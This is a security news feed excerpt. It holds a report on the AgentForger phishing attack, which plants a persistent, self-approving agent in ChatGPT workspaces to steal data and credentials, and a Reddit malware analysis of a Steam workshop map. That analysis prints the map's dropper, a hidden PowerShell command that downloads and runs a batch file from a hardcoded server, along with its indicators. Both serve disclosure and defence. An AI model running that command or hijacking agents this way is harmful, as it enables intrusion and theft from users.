<description><![CDATA[A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.



Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI a...]]></description>
<link>https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</guid>
<pubDate>Fri, 24 Jul 2026 02:32:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.</p>



<p class="wp-block-paragraph">Its researchers have discovered <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">AgentForger</a>, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.</p>



<p class="wp-block-paragraph">Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.</p>



<p class="wp-block-paragraph">While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">AI agents go rogue</a>.</p>



<p class="wp-block-paragraph">“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said <a href="https://zenity.io/authors/michael-bargury" target="_blank" rel="noreferrer noopener">Michael Bargury</a>, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”</p>



<h2 class="wp-block-heading">A ‘persistent operator’ that acts without approval</h2>



<p class="wp-block-paragraph">OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.</p>



<p class="wp-block-paragraph">Normally, this is “useful automation,” Zenity AI red team researcher <a href="https://labs.zenity.io/authors/mike-takahashi" target="_blank" rel="noreferrer noopener">Mike Takahashi</a> wrote in a <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">blog post</a>. But in this attack, “the same scheduler becomes the persistence mechanism.”</p>



<p class="wp-block-paragraph">The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.</p>



<p class="wp-block-paragraph">Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.</p>



<p class="wp-block-paragraph">The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.</p>



<p class="wp-block-paragraph">It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.</p>



<p class="wp-block-paragraph">“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”</p>



<h2 class="wp-block-heading">A ‘planted accomplice’ that does all the work</h2>



<p class="wp-block-paragraph">Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.</p>



<p class="wp-block-paragraph">“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.</p>



<p class="wp-block-paragraph">In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.</p>



<p class="wp-block-paragraph">In all cases, collected information is organized, analyzed, and sent back to the attacker.</p>



<p class="wp-block-paragraph">“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the <a href="https://www.csoonline.com/article/4198963/ai-security-operations-and-the-new-race-against-time.html" target="_blank">security model changes</a> as AI becomes part of everyday business operations.”</p>



<h2 class="wp-block-heading">FOMO exposing security gaps</h2>



<p class="wp-block-paragraph">This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.</p>



<p class="wp-block-paragraph">“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”</p>



<p class="wp-block-paragraph">However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.</p>



<p class="wp-block-paragraph">“Those triggers should be governed just as carefully as the agent itself,” said Bargury.</p>



<p class="wp-block-paragraph">High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.</p>



<p class="wp-block-paragraph">More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”</p>



<p class="wp-block-paragraph">“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-60398 | Oracle GoldenGate prior 19.30.0.0/21.21/23.26.1 GoldenGate Microservices privilege escalation (Nessus ID 329213)]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in Oracle GoldenGate. This impacts an unknown function of the component GoldenGate Microservices. The manipulation leads to privilege escalation.

This vulnerability is uniquely identified as CVE-2026-60398. The attack is possible to be car...]]></description>
<link>https://tsecurity.de/de/3690237/sicherheitsluecken/cve-2026-60398-oracle-goldengate-prior-193000212123261-goldengate-microservices-privilege-escalation-nessus-id-329213/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690237/sicherheitsluecken/cve-2026-60398-oracle-goldengate-prior-193000212123261-goldengate-microservices-privilege-escalation-nessus-id-329213/</guid>
<pubDate>Thu, 23 Jul 2026 23:08:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/oracle:goldengate">Oracle GoldenGate</a>. This impacts an unknown function of the component <em>GoldenGate Microservices</em>. The manipulation leads to privilege escalation.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-60398">CVE-2026-60398</a>. The attack is possible to be carried out remotely. No exploit exists.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal 